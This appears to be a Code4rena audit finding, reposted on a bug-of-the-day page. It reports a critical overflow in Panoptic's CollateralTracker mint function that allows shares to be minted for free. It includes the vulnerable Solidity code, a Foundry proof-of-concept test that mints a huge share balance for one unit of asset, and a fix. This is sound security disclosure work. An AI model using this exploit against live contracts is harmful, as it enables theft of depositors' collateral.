Light ModeLight
Light ModeDark

One Bug Per Day

One H/M every day from top Wardens

Checkmark

Join over 1130 wardens!

Checkmark

Receive the email at any hour!

Ad

Overflow in CollateralTracker allows minting shares for free

criticalCode4rena

Lines of code

https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/CollateralTracker.sol#L478 https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/CollateralTracker.sol#L461-L467

Vulnerability details

Impact

Malicious actors can mint huge amounts of shares for free and then withdraw all collateral.

Proof of Concept

In the mint function user-controlled shares parameter goes right away to the previewMint function which then calculates required assets in unchecked block. If the shares value is high enough, overflow in shares * DECIMALS will occur, and assets will be very low.

function previewMint(uint shares) public view returns (uint assets) {
 unchecked {
 assets = Math.mulDivRoundingUp(
 shares * DECIMALS, totalAssets(), totalSupply * (DECIMALS - COMMISSION_FEE)
 );
 }
}

function mint(uint shares, address receiver) external returns (uint assets) {
 assets = previewMint(shares);
 if (assets > type(uint104).max) revert Errors.DepositTooLarge();
 ...
}

Insert the following snippet to ColalteralTracker.t.sol for coded PoC:

function test_poc1(uint256 x) public {
 _initWorld(x);
 _grantTokens(Bob);

 vm.startPrank(Bob);

 uint shares = type(uint).max / 10000 + 1;
 IERC20Partial(token0).approve(address(collateralToken0), type(uint256).max);
 uint256 returnedAssets0 = collateralToken0.mint(shares, Bob);

 assertEq(shares, collateralToken0.balanceOf(Bob));
 assertEq(returnedAssets0, 1);
}

Tools Used

Manual review

Recommended Mitigation Steps

Remove unchecked block

function maxMint(address) external view returns (uint maxShares) {
 return (convertToShares(type(uint104).max) * DECIMALS) / (DECIMALS + COMMISSION_FEE);
}

Assessed type

Under/Overflow